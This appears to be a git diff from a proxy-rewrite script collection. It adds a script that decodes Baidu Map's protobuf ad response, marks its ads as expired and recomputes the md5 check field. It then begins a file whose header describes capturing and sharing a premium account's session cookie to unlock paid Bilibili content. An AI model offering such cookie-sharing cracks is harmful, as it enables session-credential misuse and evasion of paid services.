i=0;i<%s.length;++i)",i)("w.%s(%s[i])",o,i)("w.ldelim()"):(n("for(var i=0;i<%s.length;++i)",i),h===g?l(n,s,u,i+"[i]"):n("w.uint32(%i).%s(%s[i])",(s.id<<3|h)>>>0,o,i)),n("}")):(s.optional&&n("if(%s!=null&&Object.hasOwnProperty.call(m,%j))",i,s.name),h===g?l(n,s,u,i):n("w.uint32(%i).%s(%s)",(s.id<<3|h)>>>0,o,i))}return n("return w")};var f=t(14),c=t(32),a=t(33);function l(t,i,n,r){i.resolvedType.group?t("types[%i].encode(%s,w.uint32(%i)).uint32(%i)",n,r,(i.id<<3|3)>>>0,(i.id<<3|4)>>>0):t("types[%i].encode(%s,w.uint32(%i).fork()).ldelim()",n,r,(i.id<<3|2)>>>0)}},{14:14,32:32,33:33}],14:[function(t,i,n){i.exports=s;var h=t(22),r=(((s.prototype=Object.create(h.prototype)).constructor=s).className="Enum",t(21)),e=t(33);function s(t,i,n,r,e,s){if(h.call(this,t,n),i&&"object"!=typeof i)throw TypeError("values must be an object");if(this.valuesById={},this.values=Object.create(this.valuesById),this.comment=r,this.comments=e||{},this.valuesOptions=s,this.reserved=g,i)for(var u=Object.keys(i),o=0;oi)return!0;return!1},a.isReservedName=function(t,i){if(t)for(var n=0;n "+t.len)}function h(t){this.buf=t,this.pos=0,this.len=t.length}function f(){return e.Buffer?function(t){return(h.create=function(t){return e.Buffer.isBuffer(t)?new r(t):a(t)})(t)}:a}var c,a="undefined"!=typeof Uint8Array?function(t){if(t instanceof Uint8Array||Array.isArray(t))return new h(t);throw Error("illegal buffer")}:function(t){if(Array.isArray(t))return new h(t);throw Error("illegal buffer")};function l(){var t=new s(0,0),i=0;if(!(4=this.len)throw o(this);if(t.lo=(t.lo|(127&this.buf[this.pos])<<7*i)>>>0,this.buf[this.pos++]<128)return t}return t.lo=(t.lo|(127&this.buf[this.pos++])<<7*i)>>>0,t}for(;i<4;++i)if(t.lo=(t.lo|(127&this.buf[this.pos])<<7*i)>>>0,this.buf[this.pos++]<128)return t;if(t.lo=(t.lo|(127&this.buf[this.pos])<<28)>>>0,t.hi=(t.hi|(127&this.buf[this.pos])>>4)>>>0,this.buf[this.pos++]<128)return t;if(i=0,4>>0,this.buf[this.pos++]<128)return t}else for(;i<5;++i){if(this.pos>=this.len)throw o(this);if(t.hi=(t.hi|(127&this.buf[this.pos])<<7*i+3)>>>0,this.buf[this.pos++]<128)return t}throw Error("invalid varint encoding")}function d(t,i){return(t[i-4]|t[i-3]<<8|t[i-2]<<16|t[i-1]<<24)>>>0}function v(){if(this.pos+8>this.len)throw o(this,8);return new s(d(this.buf,this.pos+=4),d(this.buf,this.pos+=4))}h.create=f(),h.prototype.h=e.Array.prototype.subarray||e.Array.prototype.slice,h.prototype.uint32=(c=4294967295,function(){if(c=(127&this.buf[this.pos])>>>0,this.buf[this.pos++]<128||(c=(c|(127&this.buf[this.pos])<<7)>>>0,this.buf[this.pos++]<128||(c=(c|(127&this.buf[this.pos])<<14)>>>0,this.buf[this.pos++]<128||(c=(c|(127&this.buf[this.pos])<<21)>>>0,this.buf[this.pos++]<128||(c=(c|(15&this.buf[this.pos])<<28)>>>0,this.buf[this.pos++]<128||!((this.pos+=5)>this.len))))))return c;throw this.pos=this.len,o(this,10)}),h.prototype.int32=function(){return 0|this.uint32()},h.prototype.sint32=function(){var t=this.uint32();return t>>>1^-(1&t)|0},h.prototype.bool=function(){return 0!==this.uint32()},h.prototype.fixed32=function(){if(this.pos+4>this.len)throw o(this,4);return d(this.buf,this.pos+=4)},h.prototype.sfixed32=function(){if(this.pos+4>this.len)throw o(this,4);return 0|d(this.buf,this.pos+=4)},h.prototype.float=function(){if(this.pos+4>this.len)throw o(this,4);var t=e.float.readFloatLE(this.buf,this.pos);return this.pos+=4,t},h.prototype.double=function(){if(this.pos+8>this.len)throw o(this,4);var t=e.float.readDoubleLE(this.buf,this.pos);return this.pos+=8,t},h.prototype.bytes=function(){var t=this.uint32(),i=this.pos,n=this.pos+t;if(n>this.len)throw o(this,t);return this.pos+=t,Array.isArray(this.buf)?this.buf.slice(i,n):i===n?new this.buf.constructor(0):this.h.call(this.buf,i,n)},h.prototype.string=function(){var t=this.bytes();return u.read(t,0,t.length)},h.prototype.skip=function(t){if("number"==typeof t){if(this.pos+t>this.len)throw o(this,t);this.pos+=t}else do{if(this.pos>=this.len)throw o(this)}while(128&this.buf[this.pos++]);return this},h.prototype.skipType=function(t){switch(t){case 0:this.skip();break;case 1:this.skip(8);break;case 2:this.skip(this.uint32());break;case 3:for(;4!=(t=7&this.uint32());)this.skipType(t);break;case 5:this.skip(4);break;default:throw Error("invalid wire type "+t+" at offset "+this.pos)}return this},h.r=function(t){r=t,h.create=f(),r.r();var i=e.Long?"toLong":"toNumber";e.merge(h.prototype,{int64:function(){return l.call(this)[i](!1)},uint64:function(){return l.call(this)[i](!0)},sint64:function(){return l.call(this).zzDecode()[i](!1)},fixed64:function(){return v.call(this)[i](!0)},sfixed64:function(){return v.call(this)[i](!1)}})}},{35:35}],25:[function(t,i,n){i.exports=s;var r=t(24),e=((s.prototype=Object.create(r.prototype)).constructor=s,t(35));function s(t){r.call(this,t)}s.r=function(){e.Buffer&&(s.prototype.h=e.Buffer.prototype.slice)},s.prototype.string=function(){var t=this.uint32();return this.buf.utf8Slice?this.buf.utf8Slice(this.pos,this.pos=Math.min(this.pos+t,this.len)):this.buf.toString("utf-8",this.pos,this.pos=Math.min(this.pos+t,this.len))},s.r()},{24:24,35:35}],26:[function(t,i,n){i.exports=h;var r,d,v,e=t(21),s=(((h.prototype=Object.create(e.prototype)).constructor=h).className="Root",t(15)),u=t(14),o=t(23),b=t(33);function h(t){e.call(this,"",t),this.deferred=[],this.files=[]}function p(){}h.fromJSON=function(t,i){return i=i||new h,t.options&&i.setOptions(t.options),i.addJSON(t.nested)},h.prototype.resolvePath=b.path.resolve,h.prototype.fetch=b.fetch,h.prototype.load=function t(i,s,e){"function"==typeof s&&(e=s,s=g);var u=this;if(!e)return b.asPromise(t,u,i,s);var o=e===p;function h(t,i){if(e){var n=e;if(e=null,o)throw t;n(t,i)}}function f(t){var i=t.lastIndexOf("google/protobuf/");if(-1>>0,this.hi=i>>>0}var s=e.zero=new e(0,0),u=(s.toNumber=function(){return 0},s.zzEncode=s.zzDecode=function(){return this},s.length=function(){return 1},e.zeroHash="\0\0\0\0\0\0\0\0",e.fromNumber=function(t){var i,n;return 0===t?s:(n=(t=(i=t<0)?-t:t)>>>0,t=(t-n)/4294967296>>>0,i&&(t=~t>>>0,n=~n>>>0,4294967295<++n&&(n=0,4294967295<++t&&(t=0))),new e(n,t))},e.from=function(t){if("number"==typeof t)return e.fromNumber(t);if(r.isString(t)){if(!r.Long)return e.fromNumber(parseInt(t,10));t=r.Long.fromString(t)}return t.low||t.high?new e(t.low>>>0,t.high>>>0):s},e.prototype.toNumber=function(t){var i;return!t&&this.hi>>>31?(t=1+~this.lo>>>0,i=~this.hi>>>0,-(t+4294967296*(i=t?i:i+1>>>0))):this.lo+4294967296*this.hi},e.prototype.toLong=function(t){return r.Long?new r.Long(0|this.lo,0|this.hi,!!t):{low:0|this.lo,high:0|this.hi,unsigned:!!t}},String.prototype.charCodeAt);e.fromHash=function(t){return"\0\0\0\0\0\0\0\0"===t?s:new e((u.call(t,0)|u.call(t,1)<<8|u.call(t,2)<<16|u.call(t,3)<<24)>>>0,(u.call(t,4)|u.call(t,5)<<8|u.call(t,6)<<16|u.call(t,7)<<24)>>>0)},e.prototype.toHash=function(){return String.fromCharCode(255&this.lo,this.lo>>>8&255,this.lo>>>16&255,this.lo>>>24,255&this.hi,this.hi>>>8&255,this.hi>>>16&255,this.hi>>>24)},e.prototype.zzEncode=function(){var t=this.hi>>31;return this.hi=((this.hi<<1|this.lo>>>31)^t)>>>0,this.lo=(this.lo<<1^t)>>>0,this},e.prototype.zzDecode=function(){var t=-(1&this.lo);return this.lo=((this.lo>>>1|this.hi<<31)^t)>>>0,this.hi=(this.hi>>>1^t)>>>0,this},e.prototype.length=function(){var t=this.lo,i=(this.lo>>>28|this.hi<<4)>>>0,n=this.hi>>>24;return 0==n?0==i?t<16384?t<128?1:2:t<2097152?3:4:i<16384?i<128?5:6:i<2097152?7:8:n<128?9:10}},{35:35}],35:[function(t,i,n){var r=n;function e(t,i,n){for(var r=Object.keys(i),e=0;e>>7|t.hi<<25)>>>0,t.hi>>>=7;for(;127>>7;i[n++]=t.lo}function p(t,i,n){i[n]=255&t,i[n+1]=t>>>8&255,i[n+2]=t>>>16&255,i[n+3]=t>>>24}a.create=l(),a.alloc=function(t){return new e.Array(t)},e.Array!==Array&&(a.alloc=e.pool(a.alloc,e.Array.prototype.subarray)),a.prototype.p=function(t,i,n){return this.tail=this.tail.next=new h(t,i,n),this.len+=i,this},(v.prototype=Object.create(h.prototype)).fn=function(t,i,n){for(;127>>=7;i[n]=t},a.prototype.uint32=function(t){return this.len+=(this.tail=this.tail.next=new v((t>>>=0)<128?1:t<16384?2:t<2097152?3:t<268435456?4:5,t)).len,this},a.prototype.int32=function(t){return t<0?this.p(b,10,s.fromNumber(t)):this.uint32(t)},a.prototype.sint32=function(t){return this.uint32((t<<1^t>>31)>>>0)},a.prototype.int64=a.prototype.uint64=function(t){t=s.from(t);return this.p(b,t.length(),t)},a.prototype.sint64=function(t){t=s.from(t).zzEncode();return this.p(b,t.length(),t)},a.prototype.bool=function(t){return this.p(d,1,t?1:0)},a.prototype.sfixed32=a.prototype.fixed32=function(t){return this.p(p,4,t>>>0)},a.prototype.sfixed64=a.prototype.fixed64=function(t){t=s.from(t);return this.p(p,4,t.lo).p(p,4,t.hi)},a.prototype.float=function(t){return this.p(e.float.writeFloatLE,4,t)},a.prototype.double=function(t){return this.p(e.float.writeDoubleLE,8,t)};var y=e.Array.prototype.set?function(t,i,n){i.set(t,n)}:function(t,i,n){for(var r=0;r>>0;return n?(e.isString(t)&&(i=a.alloc(n=u.length(t)),u.decode(t,i,0),t=i),this.uint32(n).p(y,n,t)):this.p(d,1,0)},a.prototype.string=function(t){var i=o.length(t);return i?this.uint32(i).p(o.write,i,t):this.p(d,1,0)},a.prototype.fork=function(){return this.states=new c(this),this.head=this.tail=new h(f,0,0),this.len=0,this},a.prototype.reset=function(){return this.states?(this.head=this.states.head,this.tail=this.states.tail,this.len=this.states.len,this.states=this.states.next):(this.head=this.tail=new h(f,0,0),this.len=0),this},a.prototype.ldelim=function(){var t=this.head,i=this.tail,n=this.len;return this.reset().uint32(n),n&&(this.tail.next=t.next,this.tail=i,this.len+=n),this},a.prototype.finish=function(){for(var t=this.head.next,i=this.constructor.alloc(this.len),n=0;t;)t.fn(t.val,i,n),n+=t.len,t=t.next;return i},a.r=function(t){r=t,a.create=l(),r.r()}},{35:35}],39:[function(t,i,n){i.exports=s;var r=t(38),e=((s.prototype=Object.create(r.prototype)).constructor=s,t(35));function s(){r.call(this)}function u(t,i,n){t.length<40?e.utf8.write(t,i,n):i.utf8Write?i.utf8Write(t,n):i.write(t,n)}s.r=function(){s.alloc=e.b,s.writeBytesBuffer=e.Buffer&&e.Buffer.prototype instanceof Uint8Array&&"set"===e.Buffer.prototype.set.name?function(t,i,n){i.set(t,n)}:function(t,i,n){if(t.copy)t.copy(i,n,0,t.length);else for(var r=0;r>>0;return this.uint32(i),i&&this.p(s.writeBytesBuffer,i,t),this},s.prototype.string=function(t){var i=e.Buffer.byteLength(t);return this.uint32(i),i&&this.p(u,i,t),this},s.r()},{35:35,38:38}]},{},[16])}(); +// https://github.com/emn178/js-md5 做了修改 +let md5=null;(function(){'use strict';var ERROR='input is invalid type';var WINDOW=typeof window==='object';var root=WINDOW?window:{};if(root.JS_MD5_NO_WINDOW){WINDOW=false}var WEB_WORKER=!WINDOW&&typeof self==='object';var NODE_JS=!root.JS_MD5_NO_NODE_JS&&typeof process==='object'&&process.versions&&process.versions.node;if(NODE_JS){root=global}else if(WEB_WORKER){root=self}var COMMON_JS=!root.JS_MD5_NO_COMMON_JS&&typeof module==='object'&&module.exports;var AMD=typeof define==='function'&&define.amd;var ARRAY_BUFFER=!root.JS_MD5_NO_ARRAY_BUFFER&&typeof ArrayBuffer!=='undefined';var HEX_CHARS='0123456789abcdef'.split('');var EXTRA=[128,32768,8388608,-2147483648];var SHIFT=[0,8,16,24];var OUTPUT_TYPES=['hex','array','digest','buffer','arrayBuffer','base64'];var BASE64_ENCODE_CHAR='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split('');var blocks=[],buffer8;if(ARRAY_BUFFER){var buffer=new ArrayBuffer(68);buffer8=new Uint8Array(buffer);blocks=new Uint32Array(buffer)}if(root.JS_MD5_NO_NODE_JS||!Array.isArray){Array.isArray=function(obj){return Object.prototype.toString.call(obj)==='[object Array]'}}if(ARRAY_BUFFER&&(root.JS_MD5_NO_ARRAY_BUFFER_IS_VIEW||!ArrayBuffer.isView)){ArrayBuffer.isView=function(obj){return typeof obj==='object'&&obj.buffer&&obj.buffer.constructor===ArrayBuffer}}var createOutputMethod=function(outputType){return function(message){return new Md5(true).update(message)[outputType]()}};var createMethod=function(){var method=createOutputMethod('hex');if(NODE_JS){method=nodeWrap(method)}method.create=function(){return new Md5()};method.update=function(message){return method.create().update(message)};for(var i=0;i>2]|=message[index]<>6);buffer8[i++]=0x80|(code&0x3f)}else if(code<0xd800||code>=0xe000){buffer8[i++]=0xe0|(code>>12);buffer8[i++]=0x80|((code>>6)&0x3f);buffer8[i++]=0x80|(code&0x3f)}else{code=0x10000+(((code&0x3ff)<<10)|(message.charCodeAt(++index)&0x3ff));buffer8[i++]=0xf0|(code>>18);buffer8[i++]=0x80|((code>>12)&0x3f);buffer8[i++]=0x80|((code>>6)&0x3f);buffer8[i++]=0x80|(code&0x3f)}}}else{for(i=this.start;index>2]|=code<>2]|=(0xc0|(code>>6))<>2]|=(0x80|(code&0x3f))<=0xe000){blocks[i>>2]|=(0xe0|(code>>12))<>2]|=(0x80|((code>>6)&0x3f))<>2]|=(0x80|(code&0x3f))<>2]|=(0xf0|(code>>18))<>2]|=(0x80|((code>>12)&0x3f))<>2]|=(0x80|((code>>6)&0x3f))<>2]|=(0x80|(code&0x3f))<=64){this.start=i-64;this.hash();this.hashed=true}else{this.start=i}}if(this.bytes>4294967295){this.hBytes+=this.bytes/4294967296<<0;this.bytes=this.bytes%4294967296}return this};Md5.prototype.finalize=function(){if(this.finalized){return}this.finalized=true;var blocks=this.blocks,i=this.lastByteIndex;blocks[i>>2]|=EXTRA[i&3];if(i>=56){if(!this.hashed){this.hash()}blocks[0]=blocks[16];blocks[16]=blocks[1]=blocks[2]=blocks[3]=blocks[4]=blocks[5]=blocks[6]=blocks[7]=blocks[8]=blocks[9]=blocks[10]=blocks[11]=blocks[12]=blocks[13]=blocks[14]=blocks[15]=0}blocks[14]=this.bytes<<3;blocks[15]=this.hBytes<<3|this.bytes>>>29;this.hash()};Md5.prototype.hash=function(){var a,b,c,d,bc,da,blocks=this.blocks;if(this.first){a=blocks[0]-680876937;a=(a<<7|a>>>25)-271733879<<0;d=(-1732584194^a&2004318071)+blocks[1]-117830708;d=(d<<12|d>>>20)+a<<0;c=(-271733879^(d&(a^-271733879)))+blocks[2]-1126478375;c=(c<<17|c>>>15)+d<<0;b=(a^(c&(d^a)))+blocks[3]-1316259209;b=(b<<22|b>>>10)+c<<0}else{a=this.h0;b=this.h1;c=this.h2;d=this.h3;a+=(d^(b&(c^d)))+blocks[0]-680876936;a=(a<<7|a>>>25)+b<<0;d+=(c^(a&(b^c)))+blocks[1]-389564586;d=(d<<12|d>>>20)+a<<0;c+=(b^(d&(a^b)))+blocks[2]+606105819;c=(c<<17|c>>>15)+d<<0;b+=(a^(c&(d^a)))+blocks[3]-1044525330;b=(b<<22|b>>>10)+c<<0}a+=(d^(b&(c^d)))+blocks[4]-176418897;a=(a<<7|a>>>25)+b<<0;d+=(c^(a&(b^c)))+blocks[5]+1200080426;d=(d<<12|d>>>20)+a<<0;c+=(b^(d&(a^b)))+blocks[6]-1473231341;c=(c<<17|c>>>15)+d<<0;b+=(a^(c&(d^a)))+blocks[7]-45705983;b=(b<<22|b>>>10)+c<<0;a+=(d^(b&(c^d)))+blocks[8]+1770035416;a=(a<<7|a>>>25)+b<<0;d+=(c^(a&(b^c)))+blocks[9]-1958414417;d=(d<<12|d>>>20)+a<<0;c+=(b^(d&(a^b)))+blocks[10]-42063;c=(c<<17|c>>>15)+d<<0;b+=(a^(c&(d^a)))+blocks[11]-1990404162;b=(b<<22|b>>>10)+c<<0;a+=(d^(b&(c^d)))+blocks[12]+1804603682;a=(a<<7|a>>>25)+b<<0;d+=(c^(a&(b^c)))+blocks[13]-40341101;d=(d<<12|d>>>20)+a<<0;c+=(b^(d&(a^b)))+blocks[14]-1502002290;c=(c<<17|c>>>15)+d<<0;b+=(a^(c&(d^a)))+blocks[15]+1236535329;b=(b<<22|b>>>10)+c<<0;a+=(c^(d&(b^c)))+blocks[1]-165796510;a=(a<<5|a>>>27)+b<<0;d+=(b^(c&(a^b)))+blocks[6]-1069501632;d=(d<<9|d>>>23)+a<<0;c+=(a^(b&(d^a)))+blocks[11]+643717713;c=(c<<14|c>>>18)+d<<0;b+=(d^(a&(c^d)))+blocks[0]-373897302;b=(b<<20|b>>>12)+c<<0;a+=(c^(d&(b^c)))+blocks[5]-701558691;a=(a<<5|a>>>27)+b<<0;d+=(b^(c&(a^b)))+blocks[10]+38016083;d=(d<<9|d>>>23)+a<<0;c+=(a^(b&(d^a)))+blocks[15]-660478335;c=(c<<14|c>>>18)+d<<0;b+=(d^(a&(c^d)))+blocks[4]-405537848;b=(b<<20|b>>>12)+c<<0;a+=(c^(d&(b^c)))+blocks[9]+568446438;a=(a<<5|a>>>27)+b<<0;d+=(b^(c&(a^b)))+blocks[14]-1019803690;d=(d<<9|d>>>23)+a<<0;c+=(a^(b&(d^a)))+blocks[3]-187363961;c=(c<<14|c>>>18)+d<<0;b+=(d^(a&(c^d)))+blocks[8]+1163531501;b=(b<<20|b>>>12)+c<<0;a+=(c^(d&(b^c)))+blocks[13]-1444681467;a=(a<<5|a>>>27)+b<<0;d+=(b^(c&(a^b)))+blocks[2]-51403784;d=(d<<9|d>>>23)+a<<0;c+=(a^(b&(d^a)))+blocks[7]+1735328473;c=(c<<14|c>>>18)+d<<0;b+=(d^(a&(c^d)))+blocks[12]-1926607734;b=(b<<20|b>>>12)+c<<0;bc=b^c;a+=(bc^d)+blocks[5]-378558;a=(a<<4|a>>>28)+b<<0;d+=(bc^a)+blocks[8]-2022574463;d=(d<<11|d>>>21)+a<<0;da=d^a;c+=(da^b)+blocks[11]+1839030562;c=(c<<16|c>>>16)+d<<0;b+=(da^c)+blocks[14]-35309556;b=(b<<23|b>>>9)+c<<0;bc=b^c;a+=(bc^d)+blocks[1]-1530992060;a=(a<<4|a>>>28)+b<<0;d+=(bc^a)+blocks[4]+1272893353;d=(d<<11|d>>>21)+a<<0;da=d^a;c+=(da^b)+blocks[7]-155497632;c=(c<<16|c>>>16)+d<<0;b+=(da^c)+blocks[10]-1094730640;b=(b<<23|b>>>9)+c<<0;bc=b^c;a+=(bc^d)+blocks[13]+681279174;a=(a<<4|a>>>28)+b<<0;d+=(bc^a)+blocks[0]-358537222;d=(d<<11|d>>>21)+a<<0;da=d^a;c+=(da^b)+blocks[3]-722521979;c=(c<<16|c>>>16)+d<<0;b+=(da^c)+blocks[6]+76029189;b=(b<<23|b>>>9)+c<<0;bc=b^c;a+=(bc^d)+blocks[9]-640364487;a=(a<<4|a>>>28)+b<<0;d+=(bc^a)+blocks[12]-421815835;d=(d<<11|d>>>21)+a<<0;da=d^a;c+=(da^b)+blocks[15]+530742520;c=(c<<16|c>>>16)+d<<0;b+=(da^c)+blocks[2]-995338651;b=(b<<23|b>>>9)+c<<0;a+=(c^(b|~d))+blocks[0]-198630844;a=(a<<6|a>>>26)+b<<0;d+=(b^(a|~c))+blocks[7]+1126891415;d=(d<<10|d>>>22)+a<<0;c+=(a^(d|~b))+blocks[14]-1416354905;c=(c<<15|c>>>17)+d<<0;b+=(d^(c|~a))+blocks[5]-57434055;b=(b<<21|b>>>11)+c<<0;a+=(c^(b|~d))+blocks[12]+1700485571;a=(a<<6|a>>>26)+b<<0;d+=(b^(a|~c))+blocks[3]-1894986606;d=(d<<10|d>>>22)+a<<0;c+=(a^(d|~b))+blocks[10]-1051523;c=(c<<15|c>>>17)+d<<0;b+=(d^(c|~a))+blocks[1]-2054922799;b=(b<<21|b>>>11)+c<<0;a+=(c^(b|~d))+blocks[8]+1873313359;a=(a<<6|a>>>26)+b<<0;d+=(b^(a|~c))+blocks[15]-30611744;d=(d<<10|d>>>22)+a<<0;c+=(a^(d|~b))+blocks[6]-1560198380;c=(c<<15|c>>>17)+d<<0;b+=(d^(c|~a))+blocks[13]+1309151649;b=(b<<21|b>>>11)+c<<0;a+=(c^(b|~d))+blocks[4]-145523070;a=(a<<6|a>>>26)+b<<0;d+=(b^(a|~c))+blocks[11]-1120210379;d=(d<<10|d>>>22)+a<<0;c+=(a^(d|~b))+blocks[2]+718787259;c=(c<<15|c>>>17)+d<<0;b+=(d^(c|~a))+blocks[9]-343485551;b=(b<<21|b>>>11)+c<<0;if(this.first){this.h0=a+1732584193<<0;this.h1=b-271733879<<0;this.h2=c-1732584194<<0;this.h3=d+271733878<<0;this.first=false}else{this.h0=this.h0+a<<0;this.h1=this.h1+b<<0;this.h2=this.h2+c<<0;this.h3=this.h3+d<<0}};Md5.prototype.hex=function(){this.finalize();var h0=this.h0,h1=this.h1,h2=this.h2,h3=this.h3;return HEX_CHARS[(h0>>4)&0x0F]+HEX_CHARS[h0&0x0F]+HEX_CHARS[(h0>>12)&0x0F]+HEX_CHARS[(h0>>8)&0x0F]+HEX_CHARS[(h0>>20)&0x0F]+HEX_CHARS[(h0>>16)&0x0F]+HEX_CHARS[(h0>>28)&0x0F]+HEX_CHARS[(h0>>24)&0x0F]+HEX_CHARS[(h1>>4)&0x0F]+HEX_CHARS[h1&0x0F]+HEX_CHARS[(h1>>12)&0x0F]+HEX_CHARS[(h1>>8)&0x0F]+HEX_CHARS[(h1>>20)&0x0F]+HEX_CHARS[(h1>>16)&0x0F]+HEX_CHARS[(h1>>28)&0x0F]+HEX_CHARS[(h1>>24)&0x0F]+HEX_CHARS[(h2>>4)&0x0F]+HEX_CHARS[h2&0x0F]+HEX_CHARS[(h2>>12)&0x0F]+HEX_CHARS[(h2>>8)&0x0F]+HEX_CHARS[(h2>>20)&0x0F]+HEX_CHARS[(h2>>16)&0x0F]+HEX_CHARS[(h2>>28)&0x0F]+HEX_CHARS[(h2>>24)&0x0F]+HEX_CHARS[(h3>>4)&0x0F]+HEX_CHARS[h3&0x0F]+HEX_CHARS[(h3>>12)&0x0F]+HEX_CHARS[(h3>>8)&0x0F]+HEX_CHARS[(h3>>20)&0x0F]+HEX_CHARS[(h3>>16)&0x0F]+HEX_CHARS[(h3>>28)&0x0F]+HEX_CHARS[(h3>>24)&0x0F]};Md5.prototype.toString=Md5.prototype.hex;Md5.prototype.digest=function(){this.finalize();var h0=this.h0,h1=this.h1,h2=this.h2,h3=this.h3;return[h0&0xFF,(h0>>8)&0xFF,(h0>>16)&0xFF,(h0>>24)&0xFF,h1&0xFF,(h1>>8)&0xFF,(h1>>16)&0xFF,(h1>>24)&0xFF,h2&0xFF,(h2>>8)&0xFF,(h2>>16)&0xFF,(h2>>24)&0xFF,h3&0xFF,(h3>>8)&0xFF,(h3>>16)&0xFF,(h3>>24)&0xFF]};Md5.prototype.array=Md5.prototype.digest;Md5.prototype.arrayBuffer=function(){this.finalize();var buffer=new ArrayBuffer(16);var blocks=new Uint32Array(buffer);blocks[0]=this.h0;blocks[1]=this.h1;blocks[2]=this.h2;blocks[3]=this.h3;return buffer};Md5.prototype.buffer=Md5.prototype.arrayBuffer;Md5.prototype.base64=function(){var v1,v2,v3,base64Str='',bytes=this.array();for(var i=0;i<15;){v1=bytes[i++];v2=bytes[i++];v3=bytes[i++];base64Str+=BASE64_ENCODE_CHAR[v1>>>2]+BASE64_ENCODE_CHAR[(v1<<4|v2>>>4)&63]+BASE64_ENCODE_CHAR[(v2<<2|v3>>>6)&63]+BASE64_ENCODE_CHAR[v3&63]}v1=bytes[i];base64Str+=BASE64_ENCODE_CHAR[v1>>>2]+BASE64_ENCODE_CHAR[(v1<<4)&63]+'==';return base64Str};var exports=createMethod();if(COMMON_JS){module.exports=exports}else{root.md5=exports;md5=exports;if(AMD){define(function(){return exports})}}})(); +const baiduMapJson = {"options":{"java_package":"com.smile.baidumap.model"},"nested":{"RepHead":{"fields":{"md5":{"type":"string","id":1},"range":{"type":"string","id":2},"messageHead":{"rule":"repeated","type":"MessageHead","id":3}}},"MessageHead":{"fields":{"offset":{"type":"int32","id":1},"length":{"type":"int32","id":2},"name":{"type":"string","id":3}}},"Result":{"fields":{"type":{"type":"int32","id":1},"error":{"type":"int32","id":2}}},"Ads":{"fields":{"option":{"type":"Option","id":1},"content":{"rule":"repeated","type":"Content","id":2}}},"Option":{"fields":{"lasttime":{"type":"int32","id":1},"checkcode":{"type":"string","id":2},"errmsg":{"type":"string","id":3}}},"Content":{"fields":{"type":{"type":"string","id":1},"data":{"type":"string","id":2},"intval":{"type":"int32","id":3},"start":{"type":"int32","id":4},"end":{"type":"int32","id":5},"id":{"type":"int32","id":6},"updatetime":{"type":"int32","id":7},"order":{"type":"int32","id":8},"ctrlMode":{"type":"string","id":9},"dayTimes":{"type":"int32","id":10}}}}}; +const baiduMapRoot = protobuf.Root.fromJSON(baiduMapJson); + +const isQuanX = typeof $task != "undefined"; +const binaryBody = isQuanX ? new Uint8Array($response.bodyBytes) : $response.body; +//console.log(`原始数据总长度:${binaryBody.byteLength}`); + +const beginOffset = 4; +const prefixLength = new DataView(binaryBody.slice(0, beginOffset).buffer).getInt32(0); +//console.log(`前缀给定的RepHead长度:${prefixLength}`); + +// 解析RepHead +const repHeadData = binaryBody.slice(beginOffset, beginOffset + prefixLength); +const repHeadType = baiduMapRoot.lookupType("RepHead"); +const repHeadMessage = repHeadType.decode(repHeadData); +const originMd5 = repHeadMessage.md5; +//console.log(`解析出的原始repHead长度:${repHeadType.encode(repHeadMessage).finish().length}`); +//console.log("repHead:" + JSON.stringify(repHeadMessage)); + +let newResult = null; +let newAds = null; +const dataBeginOffset = beginOffset + prefixLength; +for(let i = 0; i < repHeadMessage.messageHead.length; i++) { + let messageHead = repHeadMessage.messageHead[i]; + const name = messageHead.name; + const targetDataLength = messageHead.length; + //console.log("messageHead:" + JSON.stringify(messageHead)); + + // 开始解析 Result和Ads + const currentOffset = dataBeginOffset + messageHead.offset; + //console.log(`开始解析${name}数据,起始offset:${currentOffset},读取长度为:${targetDataLength}`); + const targetData = binaryBody.slice(currentOffset, currentOffset + targetDataLength); + + if(name === 'Result'){ + // Result我们无需修改 + const resultType = baiduMapRoot.lookupType(name); + const resultMessage = resultType.decode(targetData); + const parseMd5 = md5(binaryBody.slice(currentOffset)); + console.log(`解析出的md5和原始md5相同?:${parseMd5 === originMd5}`); + newResult = resultType.encode(resultMessage).finish(); + //console.log(`解析出的Result:${JSON.stringify(resultMessage)}`); + }else if(name === 'Ads'){ + // 对Ads进行修改 + const adsType = baiduMapRoot.lookupType(name); + let adsMessage = adsType.decode(targetData); + for(let j = 0; j < adsMessage.content.length; j++) { + let item = adsMessage.content[j]; + if((item.type.indexOf('_banner') !== -1 || item.type.indexOf('splash_screen1040') !== -1) + && item.hasOwnProperty('start') && item.hasOwnProperty('end')){ + adsMessage.content[j].start = 1648746061; + adsMessage.content[j].end = 1648832461; + console.log(`设置${item.type}时间为过期`); + } + } + newAds = adsType.encode(adsMessage).finish(); + } +} + +// 生成新RepHead +const mergeResultAndAds = Uint8Array.from([...newResult,...newAds]); +const newMd5 = md5(mergeResultAndAds); +console.log(`新md5:${newMd5}`); +repHeadMessage.md5 = newMd5; + +repHeadMessage.messageHead[0].length = newResult.byteLength; +// Ads的offset为Result的偏移量+ Result的长度 +repHeadMessage.messageHead[1].offset = newResult.byteLength; +repHeadMessage.messageHead[1].length = newAds.byteLength; + +const newRepHead = repHeadType.encode(repHeadMessage).finish(); + + +const totalLength = beginOffset + newRepHead.byteLength + newResult.byteLength + newAds.byteLength; +//console.log(`totalLength:${totalLength}`); +let body = new Uint8Array(totalLength); +body.set(Uint8Array.from([(newRepHead.byteLength >> 24) & 0xff, (newRepHead.byteLength >> 16) & 0xff, (newRepHead.byteLength >> 8) & 0xff, newRepHead.byteLength & 0xff])); +body.set(newRepHead,beginOffset); +body.set(newResult,beginOffset + newRepHead.byteLength); +body.set(newAds,beginOffset + newRepHead.byteLength + newResult.byteLength); + +console.log(`${body.byteLength}---${body.buffer.byteLength}`); +if(isQuanX){ + $done({bodyBytes: body.buffer.slice(body.byteOffset, body.byteLength + body.byteOffset)}); +} else { + $done({body}); +} diff --git a/Scripts/bilibili/bilibiliShare.cookie.js b/Scripts/bilibili/bilibiliShare.cookie.js new file mode 100644 index 00000000..de4f650a --- /dev/null +++ b/Scripts/bilibili/bilibiliShare.cookie.js @@ -0,0 +1,41 @@ +/*********************************** + > 应用名称:Bilibili大会员通用破解模板-获取共享cookie + > 软件版本:7.63.0 + > 解锁说明:解锁VIP番剧和影视 + > 更新时间:2024-09-03 + 使用方法: + 1、找一个有大会员的账号,将本脚本加入重写用于获取共享cookie + 2、打开B站随便播放一个视频,提示“B站会员获取共享cookie成功”即可【可能会疯狂获取】,此时关闭这个脚本!! + 3、在脚本日志中会打印获取到的数据Key和Value,按照BoxJS对应的Key填入,点击保存 + 